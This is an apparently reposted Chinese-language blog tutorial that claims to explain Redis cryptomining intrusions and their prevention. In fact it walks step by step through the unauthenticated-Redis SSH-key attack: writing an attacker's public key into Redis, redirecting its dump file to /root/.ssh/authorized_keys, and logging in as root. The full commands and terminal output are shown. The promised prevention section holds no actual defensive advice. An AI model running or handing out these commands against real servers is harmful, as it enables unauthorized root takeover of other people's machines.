這篇文章帶大家聊聊Redis挖礦原理,看看如何預防,分享一下防範的技巧,希望對大家有幫助!
筆者也曾經被挖礦病毒侵襲過,灰常難受,但是其實你只要了解入侵的手段就非常好防範了,今天我們就示範一下如果通過Redis進行提權取得遠端伺服器的Root用戶。 【相關推薦:Redis影片教學】
1、首先我們需要一些先決條件
2、開始搞事情
root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa接下來透過公鑰產生攻擊鍵值
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt內容如下
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali這裡前後增加兩個換行符號是為了防止資料連接在一起造成失效問題。
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OK登入Redis進行檢查,是否已經寫入進Redis中。
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exit這個時候,我們登入遠端主機看下效果。
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~# wOK,到這裡我們已經提權成功了,那我們看下匯出檔案到底是什麼呢?其實就是Redis的保存檔案形式罷了,有興趣可以自己打開看看,這裡不再展示。
3、如何預防
這個漏洞威力還是挺大的,我們現在只是拿到主機權限一個而已,加入放到定時任務執行一些腳本然後在批量感染呢? 防範的技巧如下:程式入門! !
以上是淺析Redis挖礦原理,看看如何預防(技巧分享)的詳細內容。更多資訊請關注PHP中文網其他相關文章!